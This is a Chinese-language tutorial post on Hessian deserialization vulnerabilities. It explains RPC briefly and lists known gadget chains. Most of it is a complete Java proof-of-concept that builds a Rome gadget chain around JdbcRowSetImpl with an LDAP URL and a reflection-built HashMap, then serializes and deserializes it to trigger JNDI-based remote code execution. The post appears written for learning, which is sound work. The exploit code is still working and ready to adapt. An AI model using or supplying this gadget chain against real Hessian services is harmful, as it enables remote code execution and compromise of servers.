网安宝典之Hessian 反序列化漏洞学习

1Remote Procedure Call Protocol，远程过程调用协议，和 RMI（Remote Method Invocation，远程方法调用）类似，都能通过网络调用远程服务，但 RPC 是以标准的二进制格式来定义请求的信息，可用实现跨语言和跨操作系统通讯。
2

11.客户端发起请求，并按照 RPC 协议格式填充信息
22.填充完毕后将二进制格式文件转化为流，通过传输协议进行传输
33.服务端接收到流后，将其转换为二进制格式文件，并按照 RPC 协议格式获取请求信息并进行处理
44.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回

1<dependency>
2    <groupId>com.caucho</groupId>
3    <artifactId>hessian</artifactId>
4    <version>4.0.63</version>
5</dependency>

1Rome
2XBean
3Resin
4SpringPartiallyComparableAdvisorHolder
5SpringAbstractBeanFactoryPointcutAdvisor

 1package moonflower.hessian;
 2
 3import com.caucho.hessian.io.HessianInput;
 4import com.caucho.hessian.io.HessianOutput;
 5import com.caucho.hessian.io.ObjectNameDeserializer;
 6import com.rometools.rome.feed.impl.EqualsBean;
 7import com.rometools.rome.feed.impl.ToStringBean;
 8import com.sun.rowset.JdbcRowSetImpl;
 9
10import java.io.ByteArrayInputStream;
11import java.io.ByteArrayOutputStream;
12import java.io.IOException;
13import java.io.Serializable;
14import java.lang.reflect.Array;
15import java.lang.reflect.Constructor;
16import java.lang.reflect.Field;
17import java.util.HashMap;
18
19public class Hessian_Rome {
20
21    public static <T> byte[] serialize(T o) throws IOException {
22        ByteArrayOutputStream bao = new ByteArrayOutputStream();
23        HessianOutput output = new HessianOutput(bao);
24        output.writeObject(o);
25        System.out.println(bao.toString());
26        return bao.toByteArray();
27    }
28
29    public static <T> T deserialize(byte[] bytes) throws IOException {
30        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
31        HessianInput input = new HessianInput(bai);
32        Object o = input.readObject();
33        return (T) o;
34    }
35
36    public static void setValue(Object obj, String name, Object value) throws Exception {
37        Field field = obj.getClass().getDeclaredField(name);
38        field.setAccessible(true);
39        field.set(obj, value);
40    }
41
42    public static Object getValue(Object obj, String name) throws Exception {
43        Field field = obj.getClass().getDeclaredField(name);
44        field.setAccessible(true);
45        return field.get(obj);
46    }
47
48    public static void main(String[] args) throws Exception {
49        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
50        String url = "ldap://localhost:9999/EXP";
51        jdbcRowSet.setDataSourceName(url);
52
53        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
54        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
55
56        HashMap hashMap = makeMap(equalsBean, "1");
57
58        byte[] s = serialize(hashMap);
59        System.out.println(s);
60        System.out.println((HashMap)deserialize(s));
61    }
62
63    // 用反射动态创建数组，防止在狗仔 gadget 的时候触发 put 方法导致 RCE。
64    public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception {
65        HashMap<Object, Object> s = new HashMap<>();
66        setValue(s, "size", 2);
67        Class<?> nodeC;
68        try {
69            nodeC = Class.forName("java.until.HashMap$Node");
70        }
71        catch (ClassNotFoundException e) {
72            nodeC = Class.forName("java.util.HashMap$Entry");
73        }
74        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
75        nodeCons.setAccessible(true);
76
77        Object tbl = Array.newInstance(nodeC, 2);
78        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
79        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
80        setValue(s, "table", tbl);
81        return s;
82    }
83
84}